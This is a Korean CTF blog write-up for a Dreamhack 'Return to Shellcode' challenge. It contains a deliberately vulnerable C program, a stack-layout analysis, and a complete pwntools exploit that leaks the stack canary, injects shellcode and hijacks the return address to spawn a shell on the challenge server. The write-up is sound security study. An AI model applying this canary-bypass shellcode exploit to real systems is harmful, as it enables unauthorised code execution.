๐๏ธ Access
Exploit Tech: Return to Shellcode์์ ์ค์ตํ๋ ๋ฌธ์ ์ ๋๋ค.
๐พ Exploit Algorithm & Payload
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100); // 0x50 < 0x100
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf); //unsafe function
return 0;
}
#1
: 64bit ๋ฆฌํ ์๋์ ๊ตฌ์ฑ์ ์ ์ ์๋ค.
: ๋ฐฉ์ด๊ธฐ๋ฒ์ ํ์ธํ ๊ฒฐ๊ณผ ์นด๋๋ฆฌ ๋ณดํธ ๊ธฐ๋ฒ์ด ์ ์ฉ๋์ด ์์์ ์ ์ ์๋ค.
(์นด๋๋ฆฌ: ํจ์ ์์ ์ ์คํ ๋ฒํผ์ return address ์ฌ์ด์ ๋๋ค ๊ฐ์ ์ฝ์ ํ ํ ํจ์ ์ข ๋ฃ ์ ํด๋น ๋๋ค ๊ฐ์ ๋ณ์กฐ ์ฌ๋ถ๋ฅผ ํ์ธํ์ฌ ๋ฉ๋ชจ๋ฆฌ ์ค์ผ ์ฌ๋ถ๋ฅผ ํ์ธํ๋ ๋ณดํธ ๊ธฐ๋ฒ)
#2
: r2s ์คํํ๋ฉด "Address of the buf: " ๋ฒํผ์ ์ฃผ์๋ฅผ ํ์ธ๋ฐ์ ์ ์๋ค. (0x7ffc095d15a0)
: buf์ rbp๊ฐ์ ๊ฐ๊ฒฉ์ด 96byte๋ผ๊ณ ๋์ด์์ผ๋ ํ์ฌ read๋ก 0x100(16^2= 256byte)๋งํผ ์ ๋ ฅ์ ๋ฐ๊ณ ์์
: gdb๋ฅผ ์ด์ฉํ์ฌ dissass main์ผ๋ก "mov rax,QWORD PTR fs:0x28" ์์น์ ๋ธ๋ญ์ง์ ํ์ฌ ni๋ก rax์ ๋ด๊ธด ์นด๋๋ฆฌ ์ฃผ์ ๊ฐ์ ํ์ธํ ์ ์๋ค. (0x9cf9cf8cc68e8700)
84-64bit
: buffer[0x50] -> 80byte
: SFP -> 8byte
: RET -> 8byte
: cannary -> \x00 + 7byte -> 8byte
: buffer์ rbp(์คํ์ ์์์ )์ ๊ฐ๊ฒฉ -> 96byte
dummy = buffer - (96byte - 24byte(canary+sfp+ret)) = 80 - 72 = 8byte
: ์ด๊ฒ์ผ๋ก 64bit์์๋ Buffer[80byte] + dummy[8byte] + (\x00+canary)[8byte] + SFP[8byte] + RET[8byte] ์์ ์ ์ ์๋ค. (์คํ ๋ฉ๋ชจ๋ฆฌ ๊ณต๊ฐ 112byte)
๐Analysis and results for obtaining the Flag DH{…}
#Name: exploit.py
from pwn import *
def slog(n, m):
return success(': '.join([n, hex(m)]))
context.arch = 'amd64'
r = remote("host3.dreamhack.games", 22925)
e = ELF("./r2s")
#Buffer Address
r.recvuntil(b'buf: ')
#๋ฐ์ดํฐ ๋ผ์ธ์ ์์ ํ๊ณ ๋์์ ๊ฐํ ๋ฌธ์๋ฅผ ์ ๊ฑฐํ ๋ค์ ๊ฒฐ๊ณผ ๋ฌธ์์ด์ 16์ง์๋ฅผ ์ฌ์ฉํ์ฌ ์ ์๋ก ๋ณํํ๋ ๋ฐ ์ฌ์ฉ
buf = int(r.recvline()[:-1],16)
slog('Buffer address: ', buf)
#SFP, canary
r.recvuntil(b'$rbp: ')
buf2sfp = int(r.recvline().split()[0])
buf2canary = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2canary)
#Canary Value
#Buffer[80byte] + dummy[8byte] + (\x00+cannary)[8byte] + SFP[8byte] + RET[8byte]
#0x50 + 0x8 + 0x1๊น์ง ๊ฐ๋ฉด canary ๋ฒ์ ์นจ๋ฒ (0x59)
payload = b'a'*(buf2canary + 1) #(+1) because of the first null-byte
r.sendafter(b'Input:' ,payload)
r.recvuntil(payload)
canary = u64(b'\x00'+r.recvn(7))
slog('Canary: ', canary)
#Exploit Code(BOF;Buffer OverFlow)
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2canary, b'a') + p64(canary) + b'b'*0x8 + p64(buf)
r.sendlineafter(b'Input: ', payload)
r.interactive()
: ์นด๋๋ฆฌ ๋ณดํธ๊ธฐ๋ฒ์ ์นด๋๋ฆฌ ๋ฆญ์ ์ด์ฉํ์ฌ ์ฐํํ๊ณ , pwn์ shellscraft๋ฅผ ์ด์ฉํ์ฌ FLAG๋ฅผ ํ๋ํ ์ ์๋ค.
(์นด๋๋ฆฌ๋ฆญ: ์คํ ์นด๋๋ฆฌ๋ฅผ ์ฝ์ ์ ์๋ ์ทจ์ฝ์ ์ด ์์ผ๋ฉด, ์ด๋ฅผ ์ด์ํด ์นด๋๋ฆฌ ๊ฒ์ฌ๋ฅผ ์ฐํํ๋ ๋ฐฉ๋ฒ)
๐ Summary
BOF๋ ๋ฒํผ๊ฐ ๋์น ์ ์๋ ์ฝ๋๋ฅผ ํนํ ์ฃผ์ํด์ผํ๋ค.
| BOF์ ์ทจ์ฝํ ํจ์ |
: ์ฒ๋ฆฌํ๋ ๋ฌธ์์ด์ ์ต๋ ํฌ๊ธฐ๋ฅผ ์ ํ์ง ์๋ ํจ์
- strcpy
- strcat
- gets
- fscanf
- scanf
- sprintf
- sscanf
- vfscanf
- vsprintf
- vscanf
- vsscanf
- streadd
- strecpy
- strtrns
'[Dreamhack]SystemHacking > ๋ก๋๋งต_Basic' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level1: basic_exploitation_001 (0) | 2023.08.28 |
---|---|
[Dreamhack] Level2: basic_exploitation_000 (0) | 2023.08.25 |
[Dreamhack] Level2: shell_basic (0) | 2023.08.22 |
[Dreamhack] Level1: Return Address Overwrite (0) | 2023.08.18 |